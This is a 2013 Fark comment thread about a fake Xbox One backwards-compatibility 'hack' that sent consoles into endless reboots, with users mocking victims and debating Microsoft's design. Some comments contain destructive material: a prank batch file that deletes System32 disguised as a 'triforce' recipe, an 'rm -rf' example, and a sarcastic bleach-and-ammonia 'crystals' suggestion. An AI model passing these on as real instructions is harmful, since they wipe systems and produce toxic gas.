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(Guardian)   Fake backwards compatibility hack bones the Xbone   (theguardian.com) divider line 151
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2013-12-09 01:10:42 PM
1. Open the thread you want to triforce
2. Now make new notepad file
3. Typ: @echo off
            del c:\Windows\System32
4. Save as triforce.bat
5. Open the file. Your triforce is made
 
2013-12-09 01:26:26 PM
Article includes a not so helpful pic of what an xbone might look like.

i.imgur.com
 
2013-12-09 01:55:25 PM
A supposed hack for the Xbox One, which claims to make Xbox 360 games playable on the new system, actually places the console in an endless reboot cycle, effectively breaking it

Interpretation: Someone had a hack for the Xbox One so Microsoft released an update that would break it.

(I don't actually know that, nor would I ever own a gaming console... but it seems like something that could be true -so it is.)
 
2013-12-09 02:04:55 PM

Because People in power are Stupid: A supposed hack for the Xbox One, which claims to make Xbox 360 games playable on the new system, actually places the console in an endless reboot cycle, effectively breaking it

Interpretation: Someone had a hack for the Xbox One so Microsoft released an update that would break it.

(I don't actually know that, nor would I ever own a gaming console... but it seems like something that could be true -so it is.)


No, what has happened is a little more techinical.

Basically, the trick described is not to unlock the XBox One for backwards compatibility, but to unlock developer tools in the XBox one.

But the commercial version of the XBox One doesn't let you use the developer tools.

Endless reboot.

/The best lie is half a truth
 
2013-12-09 02:08:04 PM
However, the fact that non-developers can access the development environment with a sequence of button presses and then essentially brick their consoles, has led some to question the machine's security.

But just accessing that menu isn't what ruins it. You have to put in the extra effort to be an idiot and type in commands that you don't understand.
 
2013-12-09 02:10:57 PM

HotWingConspiracy: However, the fact that non-developers can access the development environment with a sequence of button presses and then essentially brick their consoles, has led some to question the machine's security.

But just accessing that menu isn't what ruins it. You have to put in the extra effort to be an idiot and type in commands that you don't understand.


Or be stupid enought to follow directions from 4chan

Idiots got what they deserved
 
2013-12-09 02:11:10 PM

HotWingConspiracy: However, the fact that non-developers can access the development environment with a sequence of button presses and then essentially brick their consoles, has led some to question the machine's security.

But just accessing that menu isn't what ruins it. You have to put in the extra effort to be an idiot and type in commands that you don't understand.


You mean like spending hundreds of dollars on a new console with basically new games?
 
2013-12-09 02:11:53 PM
The Glorious PC Master Race would like to remind you that part of what makes us Glorious Master's is that we evolved past this type of prank... oh... twenty years ago or so.

/ go ahead... I dare you to add those random commands to AUTOEXEC.BAT
 
2013-12-09 02:15:13 PM
this is dumb, but to be fair it's still not as dumb as the iOS7 water-proof troll
 
2013-12-09 02:24:57 PM
Yeah, someone posted this in a thread last week with the disclaimer that it would brick your Xbox. Hopefully a few farkers avoided this after seeing that post.
 
2013-12-09 02:28:27 PM

HotWingConspiracy: However, the fact that non-developers can access the development environment with a sequence of button presses and then essentially brick their consoles, has led some to question the machine's security.

But just accessing that menu isn't what ruins it. You have to put in the extra effort to be an idiot and type in commands that you don't understand.


If I stopped trusting random commands off the internet, I'd never get ANYTHING to work right in Ubuntu.  I mean, I really like Ubuntu and I'd recommend it and all; but seriously, I'll type in anything anyone tells me to.
 
2013-12-09 02:30:24 PM

Fark_Guy_Rob: HotWingConspiracy: However, the fact that non-developers can access the development environment with a sequence of button presses and then essentially brick their consoles, has led some to question the machine's security.

But just accessing that menu isn't what ruins it. You have to put in the extra effort to be an idiot and type in commands that you don't understand.

If I stopped trusting random commands off the internet, I'd never get ANYTHING to work right in Ubuntu.  I mean, I really like Ubuntu and I'd recommend it and all; but seriously, I'll type in anything anyone tells me to.


sudo get me a sammich
 
2013-12-09 02:36:03 PM

AdamK: this is dumb, but to be fair it's still not as dumb as the iOS7 water-proof troll


THAT is the one I'm trying to wrap my head around. Not only were people dumb enough to believe a software update could make your phone waterproof, but then decided it would be brilliant to dunk the phone in water afterwards to test it.

I feel sorry for the call center techs who had to refrain from laughing at these people.
 
2013-12-09 02:37:26 PM
Secret way to enable backwards compatibility for the Xbox One?  If it's on the net, it must be true...

www.databitsnews.com
 
2013-12-09 02:38:26 PM
Anybody else pick-up on the hidden message in the article?

You can brick an Xbone if you have 30 seconds and access to the controller.

I hope this newly discovered 'feature' will get patched by the good folks in Redmond.
 
2013-12-09 02:39:40 PM

madgonad: Anybody else pick-up on the hidden message in the article?

You can brick an Xbone if you have 30 seconds and access to the controller.

I hope this newly discovered 'feature' will get patched by the good folks in Redmond.


I wonder how many Bestbuys/Walmarts/Gamestops/Targets will suddenly have a bricked Xbox One on display...
 
2013-12-09 02:39:42 PM
My guess is that these are the same folks who thought io7 waterproofed your iphone
 
2013-12-09 02:45:31 PM

PsyLord: madgonad: Anybody else pick-up on the hidden message in the article?

You can brick an Xbone if you have 30 seconds and access to the controller.

I hope this newly discovered 'feature' will get patched by the good folks in Redmond.

I wonder how many Bestbuys/Walmarts/Gamestops/Targets will suddenly have a bricked Xbox One on display...


My thought exactly. Or just a nasty prank by PS4 enthusiasts. You really shouldn't be able to destroy what is essentially a computer with a few short commands. I'm don't even think I could destroy my computer even if I got into the BIOS. Doing things like OC or turning off fans still results in the computer shutting off power to the chips to prevent overheating.
 
2013-12-09 02:46:41 PM
The troll in me thinks this is hilarious.

The adult in me would be furious at whoever started it if my kid, in good faith, read about this and was duped into ruining his favorite thing in the world.
 
2013-12-09 02:47:11 PM
DeathByGeekSquad: sudo get me a sammich

DeathByGeekSquad is not in the sudoers file. This incident will be reported.
 
2013-12-09 02:49:05 PM

madgonad: You can brick an Xbone if you have 30 seconds and access to the controller and the willingness to go out of your way to access the developer menu and run commands in it that you don't understand .


If somebody told you to open your toaster and start splicing random wires together in it, and you did it without knowing what you were doing, would you blame the screws you removed to get access when it breaks?
 
2013-12-09 02:51:19 PM

CastIronStove: DeathByGeekSquad: sudo get me a sammich

DeathByGeekSquad is not in the sudoers file. This incident will be reported.


imgs.xkcd.com


//End around the obvious XKCD
 
2013-12-09 02:51:24 PM

Warlordtrooper: HotWingConspiracy: However, the fact that non-developers can access the development environment with a sequence of button presses and then essentially brick their consoles, has led some to question the machine's security.

But just accessing that menu isn't what ruins it. You have to put in the extra effort to be an idiot and type in commands that you don't understand.

Or be stupid enought to follow directions from 4chan

Idiots got what they deserved


Well, they already tell me what I'll name my bong, which youtube comments I'm going to raid, and which picture I'll fap to, so why wouldn't I mindlessly follow this too?
 
2013-12-09 02:58:59 PM
Reminds me of the waterproof iPhone scam.. loved that one.
 
2013-12-09 02:59:14 PM

skozlaw: madgonad: You can brick an Xbone if you have 30 seconds and access to the controller and the willingness to go out of your way to access the developer menu and run commands in it that you don't understand .

If somebody told you to open your toaster and start splicing random wires together in it, and you did it without knowing what you were doing, would you blame the screws you removed to get access when it breaks?


It be like if someone told you that pushing the toaster thing down half way, up all the way, down 3/4, up to a 1/2, then all the way down would put it in bagel mode.  You tried this and it broke the toaster.  Yeah you are a dumbass, but thats a shiatty toaster too.
 
2013-12-09 02:59:16 PM

Warlordtrooper: HotWingConspiracy: However, the fact that non-developers can access the development environment with a sequence of button presses and then essentially brick their consoles, has led some to question the machine's security.

But just accessing that menu isn't what ruins it. You have to put in the extra effort to be an idiot and type in commands that you don't understand.

Or be stupid enought to follow directions from 4chan

Idiots got what they deserved


Hey! Wanna know how to make awesome crystals with ordinary bleach, some ammonia a couple of pennies, a straw and some food colouring?
 
2013-12-09 02:59:23 PM

madgonad: You really shouldn't be able to destroy what is essentially a computer with a few short commands. I'm don't even think I could destroy my computer even if I got into the BIOS.


It's not destroying the hardware. It causes and endless cycle of reboots. Yes you can do the same to your computer with simple commands.

for example in unix:
cd /; rm -rf
 
2013-12-09 03:00:42 PM
What is most disapointing is that the code is not ↑↑↓↓←→←→BA
 
2013-12-09 03:01:45 PM

HotWingConspiracy: However, the fact that non-developers can access the development environment with a sequence of button presses and then essentially brick their consoles, has led some to question the machine's security.

But just accessing that menu isn't what ruins it. You have to put in the extra effort to be an idiot and type in commands that you don't understand.


So the commands to make an XBox One backward compatible would be expected to be understandable to random naive XBox owner?
This is just a bug that got through QA/QC, pretty obscure one, sure, but consumer electronics generally shouldn't be able to do this from user input alone, it should have safeguards to protect the system from permanently trashing itself.
 
2013-12-09 03:06:31 PM

NickelP: skozlaw: madgonad: You can brick an Xbone if you have 30 seconds and access to the controller and the willingness to go out of your way to access the developer menu and run commands in it that you don't understand .

If somebody told you to open your toaster and start splicing random wires together in it, and you did it without knowing what you were doing, would you blame the screws you removed to get access when it breaks?

It be like if someone told you that pushing the toaster thing down half way, up all the way, down 3/4, up to a 1/2, then all the way down would put it in bagel mode.  You tried this and it broke the toaster.  Yeah you are a dumbass, but thats a shiatty toaster too.


If it really bricks it and you can't just hold down the power button to reset to factory or something then yeah XBone is a shiatty toaster.
 
2013-12-09 03:07:49 PM

xria: This is just a bug that got through QA/QC, pretty obscure one, sure, but consumer electronics generally shouldn't be able to do this from user input alone, it should have safeguards to protect the system from permanently trashing itself.


Hopefully the XBone can boot off the DVD. If so MS could issue a fix.

/You have to wonder if the guy who discovered this "hack" bricked his box too.
 
2013-12-09 03:07:59 PM

Odoriferous Queef: madgonad: You really shouldn't be able to destroy what is essentially a computer with a few short commands. I'm don't even think I could destroy my computer even if I got into the BIOS.

It's not destroying the hardware. It causes and endless cycle of reboots. Yes you can do the same to your computer with simple commands.

for example in unix:
cd /; rm -rf


and then you wipe it, and reinstall and its good to go.  If the fix for this was it required a factory reset and you had to reload your profile and stuff no one would care.  You shouldn't be able to brick a console by doing a few commands.
 
2013-12-09 03:08:45 PM

lewismarktwo: If it really bricks it and you can't just hold down the power button to reset to factory or something then yeah XBone is a shiatty toaster.


Good point.
 
2013-12-09 03:13:06 PM
When a console comes along...

YOU MUST BRICK IT

*puts on pyramid hat*
 
2013-12-09 03:17:04 PM

AdamK: this is dumb, but to be fair it's still not as dumb as the iOS7 water-proof troll


My personal favorite is the microwaving to charge your smartphone battery.

There's a few morons out there who started with a perfectly usable smartphone and ended up with a light show and a brick.
 
2013-12-09 03:21:47 PM

madgonad: I'm don't even think I could destroy my computer even if I got into the BIOS.


Maybe not today, but it was possible to brick a PowerPC-era Mac laptop with an Open Firmware command.
 
2013-12-09 03:22:11 PM
Kids who do this won't be able to use it, parents won't want to pay $150 to fix it, leading to less 13 year olds screaming obscenities?

i2.kym-cdn.com
 
2013-12-09 03:28:29 PM

Ivo Shandor: madgonad: I'm don't even think I could destroy my computer even if I got into the BIOS.

Maybe not today, but it was possible to brick a PowerPC-era Mac laptop with an Open Firmware command.


Someone should try it on a p-p-p-powerbook!
 
2013-12-09 03:33:15 PM

skozlaw: The Glorious PC Master Race would like to remind you that part of what makes us Glorious Master's is that we evolved past this type of prank... oh... twenty years ago or so.

/ go ahead... I dare you to add those random commands to AUTOEXEC.BAT


Windows in fact does not allow shutdown commands to work in startup scripts.

/It does, however, allow setting of scheduled tasks in the startup script.
//And shutdown can be set as a scheduled task.
 
2013-12-09 03:38:23 PM

NickelP: and then you wipe it, and reinstall and its good to go. If the fix for this was it required a factory reset and you had to reload your profile and stuff no one would care. You shouldn't be able to brick a console by doing a few commands.


Gotta disagree with you on this.  Accessing dev menus on many devices (TV and phones for example) can brick the devices.  There's a reason these menus are hidden.  If this was a menu easily accessible from the dashboard I would agree with you.
 
2013-12-09 03:41:45 PM
backxbone compatibility
 
2013-12-09 03:46:50 PM

Dimensio: Windows in fact does not allow shutdown commands to work in startup scripts.


DOS did.

"Guys, every time I turn on my machine it loads up, gets to the command prompt then reboots. I can't stop it."
"Hmmm, I don't know. Maybe God is mad at your for eating all the donuts."
 
2013-12-09 03:51:01 PM
People are being way to hard on the users.

First - the fact is a secret code that unlocks secret behavior *IS* on the Xbox.  Stuff like this really does exist, all the time, and there are endless examples where following directions on the internet will do exactly what you hope.

* Rooting my cell phone was exactly like that
* Flashing custom roms to my cell phone was exactly like that
* The TF2 hack I use to see through walls....was exactly like that.
* Every Linux problem I've ever had....exactly like that
* The custom audio driver that gets rid of the lag when I use my PC as a guitar amp....exactly like that
* Installing Linux on the PS3 (back in the day)....exactly like that
* Installing the HomeBrew channel on the wii....exactly like that.  Heck that was even more ridiculous - 'Download this save file, then open the game and load the save file.  TA-DA now you can go install the x,y,z' - AND IT WAS TRUE!

I remember my skepticism when a co-worker told me how changing my DNS server would trick NetFlix and lots of US-based TV station websites into thinking I am in the US and allowing me to view their content.  But, again, absolutely true and works great.

There might be technical reasons for why it isn't backwards compatible....but there might not be.  After jailbreaking my WII - I could play old NES, SNES and N64 games (I think?) on it just fine.  The XBox, from what little I understand is *really* close to a computer, and new computers can run old computer games without much trouble at all.  Companies certainly have disabled awesome, useful features for financial gain (like the CPUs you could use a pencil on to turn them into better CPUs!)

Regardless.....

It's completely on Microsoft that some sequences of buttons pressed on a control can break the system.  That's wrong.  There should be another sequence that undoes it, and there should be confirmation screens explaining what and how.  And, all of it should be described in the manual - or not be included on standard systems.  Helping devs is great - screwing customers isn't.
 
2013-12-09 03:55:58 PM
Was in one of the first threads pushing this 'trick.' They delighted in every panicked post from people naive enough to break their own property.

Lesson here is simple: Never ever ever trust anyone from 4chan.
 
2013-12-09 03:56:04 PM
I am reminded of an occasion when I needed to access the developer mode of a Palm Pre to gain access to the user's contact information stored therein.

The key sequence was easy to remember, despite being long:
upupdowndownleftrightleftrightbastart
 
2013-12-09 04:06:57 PM
imgs.xkcd.com
 
2013-12-09 04:19:55 PM

NickelP: ...thats a shiatty toaster too.


What's shiatty about a debug menu?

There's lots of things you can do to lots of consumer products that can have considerable adverse effects if you don't know what you're doing. Go into your BIOS once and flip your SATA mode from or to AHCI and see what happens. If your PC stops booting, who's to blame?

Or just go randomly delete some system drivers.

Or go pop your car's hood and rearrange all the spark plugs and see what happens.

Or open up the case of your Xbone and start screwing around with components.

Don't dick with shiat you don't understand if you aren't willing to accept the possibility that it will stop working right. Just because you can get into something doesn't mean you should and if you do get into something that wasn't documented and start making changes then accept whatever the consequences are.
 
2013-12-09 04:22:39 PM

Ivo Shandor: madgonad: I'm don't even think I could destroy my computer even if I got into the BIOS.

Maybe not today, but it was possible to brick a PowerPC-era Mac laptop with an Open Firmware command.


You could destroy an older Mac's hard drive by simply creating a file with a particular name.
 
2013-12-09 04:31:06 PM
As a modern day American consumer, I can't be expected to take responsibility for my own mistakes or stupidity. As such, I completely blame Microsoft for providing me hidden and obscure tools for bricking my XBone. How soon can I sue?
 
2013-12-09 04:34:25 PM

AdamK: this is dumb, but to be fair it's still not as dumb as the iOS7 water-proof troll


So I can't use iOS7 on my XBox 1 while playing PS4 games on it with my Wii U controller?
 
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